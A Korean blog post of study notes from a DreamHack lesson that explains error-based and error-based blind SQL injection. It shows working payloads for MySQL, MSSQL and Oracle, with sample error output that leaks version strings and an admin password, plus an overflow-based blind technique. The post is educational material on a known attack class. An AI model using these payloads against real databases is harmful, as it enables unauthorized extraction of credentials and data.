Home Error Based & Error based Blind SQL Injection
Post
Cancel

Error Based & Error based Blind SQL Injection

DreamHack 강의를 통해 Error Based SQL Injection과 Error Based Blind SQL Injection에 대해서 알아봅시다.



Error Based SQL Injection

Dreamhack 강의를 통해 Error Based SQL Injection이 무엇인지 알아봅시다. Error Based SQL Injection 공격은 임의로 에러를 발생 시켜 DB 및 운영체제의 정보를 획득하는 공격 기법입니다.

일반적으로 에러를 발생 시키기 위해 ’, “ 을 입력값에 넣어 에러 메시지가 유발되는지 확인을 합니다.

Error Based SQL Injection Code

공격을 성공하기 위해서는 에러 메시지가 DBMS에서 쿼리가 실행되기 전 발생하는 에러가 아닌 쿼리가 실행되고 발생하는 에러가 필요합니다.

MYSQL 환경에서 발생하는 공격에 대해서 알아봅시다. extractvalue 함수를 이용하여 Error Based SQL injection 공격을 가능하게 할 수 있습니다.

1
[Query] SELECT extractvalue(1,concat(0x3a,version()));  -> ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'

extractvalue 함수는 첫 번째로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출합니다. 올바르지 않는 XPATH식을 전달하면 에러 메시지에 삽입한 식의 결과가 출력됩니다.

1
SELECT extractvalue(1, ':abcd'); ERROR 1105 (HY000): XPATH syntax error: ':abcd' # ":"  시작하면 올바르지 않은 XPATH 

extractvalue 응용

extractvalue 함수를 이용하여 사용할 경우 DB의 정보를 추출할 수 있습니다. 아래의 코드는 서브 쿼리를 통해 임의 테이블의 데이터를 획득한 모습입니다.

1
SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin'))); ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

DBMS 별 Error Based SQL Injection 공격 방법

MYSQL

1
SELECT updatexml(null,concat(0x0a,version()),null);  ERROR 1105 (HY000): XPATH syntax error: ' 5.7.29-0ubuntu0.16.04.1-log'
1
SELECT extractvalue(1,concat(0x3a,version()));  ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
1
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;  ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'

MSSQL

1
SELECT convert(int,@@version); SELECT cast((SELECT @@version) as int);  Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)  	Feb 20 2014 19:20:46  	Copyright (c) Microsoft Corporation 	Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor) ' to data type int.

ORACLE

1
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;  ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist ORA-06512: at "CTXSYS.DRUE", line 183 ORA-06512: at "CTXSYS.DRITHSX", line 555 ORA-06512: at line 1

Error Based Blind SQL Injection

Error Based Blind SQL Injection 공격은 임의로 에러를 발생 시켜 참/거짓을 판단해 데이터를 추출하는 공격기법입니다. Error Based SQL Injection은 출력값에 영향을 받지만 Error Based Blind SQL Injection은 에러 발생 여부만 필요로 합니다.

1
mysql> select if(1=1, 9e307*2,0); ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)' mysql> select if(1=0, 9e307*2,0); +--------------------+ | if(1=0, 9e307*2,0) | +--------------------+ |                  0 | +--------------------+ 1 row in set (0.00 sec)

if(조건식)에 따라서 참이면 에러 발생 거짓이면 0를 발생시켜 DB를 추출할 수 있습니다.


후기

에러 발생 시키는 방법중에 Range를 넘겨 에러를 발생시키는 방법을 알게되어서 새로웠다 끝!